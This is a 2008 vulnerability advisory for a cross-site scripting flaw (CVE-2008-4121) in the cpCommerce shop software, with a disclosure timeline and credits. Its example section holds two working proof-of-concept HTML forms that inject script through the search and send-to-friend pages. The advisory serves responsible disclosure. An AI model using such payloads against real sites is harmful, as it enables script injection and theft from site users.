Cross Site Scripting (XSS) Vulnerabilitiy in cpcommerce,
CVE-2008-4121 

References

http://www.datensalat.eu/~fabian/cve/CVE-2008-4121-cpcommerce.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4121
http://cpcommerce.cpradio.org/

Description

cpCommerce is an open-source e-commerce solution that is maintained by
templates and modules. 

Example

Assuming cpcommerce is installed on http://localhost/cpcommerce/,
anybody could inject JavaScript:

<form method="post" action="http://localhost/cpcommerce/search.php">
<input type="hidden" name="action" value="search.quick">
<input type="text" name="search" value='"><script>alert(1)</script>'>
<input type=submit></form>

<form method="post" action="http://localhost/cpcommerce/sendtofriend.php"> <input
type="hidden" name="action" value="sendtofriend"> 
<input type="text" name="name" value='"><script>alert(1)</script>'>
<input type=submit></form>

Disclosure Timeline

2008-09-23 Vendor contacted
2008-09-23 Vendor released 1.2.4
2008-10-19 Published advisory

CVE Information

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2008-4121 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org/), which standardizes names for
security problems. 

Credits and copyright

This vulnerability was discovered by Fabian Fingerle (published with
help from Hanno Boeck [0]). It's licensed under the creative commons
attribution license.

Fabian Fingerle, 2008-09-04, http://www.fabian-fingerle.de

[0] http://www.hboeck.de